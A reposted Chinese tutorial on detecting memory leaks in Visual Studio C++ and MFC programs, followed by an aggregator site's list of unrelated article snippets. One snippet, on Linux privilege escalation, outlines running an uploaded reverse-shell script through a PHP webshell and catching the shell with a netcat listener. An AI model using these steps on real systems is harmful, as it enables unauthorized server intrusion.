Visual Studio 内存泄漏检测方法

Visual Studio 内存泄漏检测方法
非MFC程序可以用以下方法检测内存泄露:
1.程序开始包含如下定义:
#ifdef _DEBUG
#define DEBUG_CLIENTBLOCK new( _CLIENT_BLOCK, __FILE__, __LINE__)
#else
#define DEBUG_CLIENTBLOCK
#endif // _DEBUG
#define _CRTDBG_MAP_ALLOC
#include <stdlib.h>
#include <crtdbg.h>
#ifdef _DEBUG
#define new DEBUG_CLIENTBLOCK
#endif // _DEBUG
2.程序中添加下面的函数:
_CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF|_CRTDBG_LEAK_CHECK_DF);
Debug版本程序运行结束后如有内存泄漏,输出窗口中会显示类似信息:
Detected memory leaks!
Dumping objects ->
g:\programs\test\test.cpp(16) : {51} client block at 0x00385C58, subtype 0, 4 bytes long.
Data: <    > CD CD CD CD 
Object dump complete.
MFC程序内存泄漏检测方法:
1.在 CMyApp 中添加如下三个 CMemoryState 类的成员变量:
#ifdef _DEBUG
protected:
CMemoryState m_msOld, m_msNew, m_msDiff;
#endif // _DEBUG
2.在 CMyApp::InitInstance() 中添加如下代码:
#ifdef _DEBUG
m_msOld.Checkpoint();
#endif // _DEBUG
3.在 CMyApp::ExitInstance() 中添加如下代码:
#ifdef _DEBUG
m_msNew.Checkpoint();
if (m_msDiff.Difference(m_msOld, m_msNew))
{
afxDump<<"\nMemory Leaked :\n";
m_msDiff.DumpStatistics();
afxDump<<"Dump Complete !\n\n";
}
#endif // _DEBUG
Debug版本程序运行结束后如有内存泄漏,输出窗口中会显示类似信息:
Memory Leaked :
0 bytes in 0 Free Blocks.
8 bytes in 1 Normal Blocks.
0 bytes in 0 CRT Blocks.
0 bytes in 0 Ignore Blocks.
0 bytes in 0 Client Blocks.
Largest number used: 8825 bytes.
Total allocations: 47506 bytes.
Dump Complete !
Detected memory leaks!
Dumping objects ->
g:\programs\chat\chatdlg.cpp(120) : {118} normal block at 0x00D98150, 8 bytes long.
Data: <        > A8 7F D9 00 01 00 00 00 
Object dump complete.

转载于:https://www.cnblogs.com/cplover/p/3372038.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/261171.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

javaweb下载文件

//读取文件->写出文件 public static void main(String[] args) { InputStream in null; OutputStream out null; try{ File file new File("c:\\123.doc"); in new FileInputStream(file); out new FileOutputStream("c:\\666.doc"); int len 0; …

mysql如果数据不存在,则插入新数据,否则更新

//如果不存在&#xff0c;则插入新数据$sql "INSERT INTO {$ecs->table(‘cat_lang’)} (cat_id,lang_id,cat_name,keywords,cat_desc) VALUES({$cat_id},{$k},’{$val[cat_name]}’,{$val[keywords]}’,{$val[cat_desc]}’)ON DUPLICATE KEY UPDATE cat_name’{$val[…

Saltstack grains组件

grains是Saltstack最重要的组件之一&#xff0c;grains的作用是收集被控主机的基本信息&#xff0c;这些信息通常都是一些静态的数据&#xff0c;包括CPU、内核、操作系统、虚拟化等&#xff0c;在服务器端可以根据这些信息进行灵活定制&#xff0c;管理员可以利用这新信息对不…

android开发相关资料整理【2011-11-10】

常用的Android指令和模拟器参数如何在windows下不用Eclipse&#xff0c;用dos命令启动emulator呢&#xff1f;&#xff1f;&#xff1f;Android中的Task相关问题&#xff1a; Flag和LaunchMode同时起作用时的情况Service与ContentProvide的多实例与多线程问题avtivity之间的跳转…

php监听mq消息,客户端监听服务端获取rabbitmq消息队列,rabbitmq有消息的时候客户端刷新页面才能获取到消息,监听没起到作用,请求各位大神指点迷津...

header("Content-Type:text/html;charsetutf-8");use Workerman\Worker;require_once __DIR__ . /Autoloader.php;// 注意&#xff1a;这里与上个例子不同&#xff0c;使用的是websocket协议$ws_worker new Worker("websocket://192.168.1.218:5556");// …

c3p0配置

2019独角兽企业重金招聘Python工程师标准>>> <?xml version"1.0" encoding"utf-8"?> <c3p0-config> <named-config name"mysql"> <property name"user">root</property> …

The connection to adb is down

The connection to adb is down 有一周时间没有打开ADT了&#xff0c;最近想为我的APP增加下些新的功能&#xff0c;但是在编译的时候出现了一个奇怪问题 [2013-10-18 14:43:50 - zzbus] Android Launch![2013-10-18 14:43:50 - zzbus] The connection to adb is down, and a s…

linux溢出提权

先在网站目录上传1.pl,是个反弹脚本 Phpshell执行chmod x 1.pl&#xff0c;给1.pl执行权限&#xff0c;图0 然后执行 ./1.pl 本机IP 1224接着本机监听nc -vv -l -p 1224&#xff0c;图1 反弹成功 输入id bash-3.2$ id uid529(zeicom) gid525(zeicom) groups525(zeicom) bash-3.…

php 抽象类、接口和构析方法

<?php/*class Ren {public static $color;static function Show(){Car::$name;self::$color;} }class Car {public static $name; }*///抽象类 /*abstract class DongWu {public $dong;public $jiao;function Chi(){}function Shui(){} }*///接口关键字&#xff1a;interfa…

java的枚举

package com.wzh.test.enum0;import org.junit.Test;public class demo1 {Testpublic void testAb(){System.out.println(Ab.a.getValue());}//如果定义枚举的构造函数&#xff0c;方法和字段&#xff0c;去封装更多的信息enum Ab{a("100-90"),b("89-80"),…

matlab元胞矩阵赋值,matlab!怎么根据条件直接修改元胞数组中的矩阵

matlab&#xff01;怎么根据条件直接修改元胞数组中的矩阵mip版 关注:264 答案:2 悬赏:70解决时间 2021-01-28 07:03已解决2021-01-28 03:35我想实现这样的一个功能一个256*256的元胞数组Cel&#xff0c;每个元胞数组中都有一个15*4的矩阵Arr有15对256*256的矩阵a,b,c,d(分别…

动态反射——Load,LoadFrom和LoadFile

【问】 假设有一个类库文件LibraryA&#xff0c;其中有一个ClassA&#xff0c;该类的AssemblyName为“LibraryA”&#xff08;编译后的文件是LibraryA.dll&#xff09;。另外有一个LibraryB.dll类库文件&#xff0c;其中AssemblyName和其命名空间一样&#xff0c;并且其引用Lib…

《将博客搬至CSDN》

《将博客搬至CSDN》链接为&#xff1a;http://blog.csdn.net/scenlyf/转载于:https://blog.51cto.com/luoyafei/1787233

12306订票助手更新

由于时间关系&#xff0c;以及做了较大变更&#xff0c;订票助手已经很久发布更新了。但是订票助手我还是会一直维护下去&#xff0c;直到……你懂的。 这个版本比以前有较大变化&#xff0c;还存在许多已知和未知的问题&#xff0c;只建议喜欢尝鲜的朋友使用&#xff1a; 不再…

各种Exit退出函数用法

在VBScript中经常会遇到在执行到某个代码块时需要直接跳出的过程。 其实在Vbs语法中常用的有4种退出方式&#xff1a;Exit For、Exit Do、Exit Function、Exit Sub 1、Exit For 主要是用于for循环中 for i1 to 100 if i4 then msgbox "exit for" Exit For End If Ne…

oracle一个表拆成多个表,oracle – 在oracle表中将多个以逗号分隔的值拆分为多行...

接受的答案使用条件DBMS_RANDOM.VALUE IS NOT NULL这是不合适的。 它只是防止循环&#xff0c;但是一个简单的问题会出现&#xff0c; 如何和何时dbms_random.VALUE可以为空&#xff1f; 从逻辑上讲&#xff0c;它永远不会是NULL 。更合适的解决scheme是使用sys.odciNumberList…

python 正则表达式过滤文本中的html标签 源代码解析

#py2.7 #coding:utf-8import re import os import chardetdef filter_tag(htmlstr):re_cdata re.compile(<!DOCTYPE HTML PUBLIC[^>]*>, re.I)re_script re.compile(<\s*script[^>]*>[^<]*<\s*/\s*script\s*>, re.I) #过滤脚本re_style re.compi…

C++--Qt使用Http协议

2019独角兽企业重金招聘Python工程师标准>>> #include <QNetworkAccessManager>//包含QNetworkAccessManager类 #include <QNetworkRequest>//包含QNetworkRequest类 #include <QNetworkReply>//包含QNetworkReply类 #include <QtCore> #in…

Oracle数据库adg数据没同步,Oracle 11g备库无法开启ADG的原因分析

今天碰到一个有些奇怪的问题&#xff0c;但是奇怪的现象背后都是有本质的因果。下午在做一个环境的检查时&#xff0c;发现备库是在mount阶段&#xff0c;这可是一个11gR2的库&#xff0c;没有ADG实在是太浪费了&#xff0c;对于这种情况感觉太不应该了。所以尝试启动至open阶段…

linux基本安全配置手册

安装注意 作为服务器&#xff0c;不安装不需要的组件&#xff0c;所以在选择组件的时候&#xff0c;不要安装服务包和桌面但需要开发工具和开发包。 以下命令等适用redhat/centos 4,5 1.删除系统特殊的的用户帐号&#xff1a; 禁止所有默认的被操作系统本身启动的且不需要的帐号…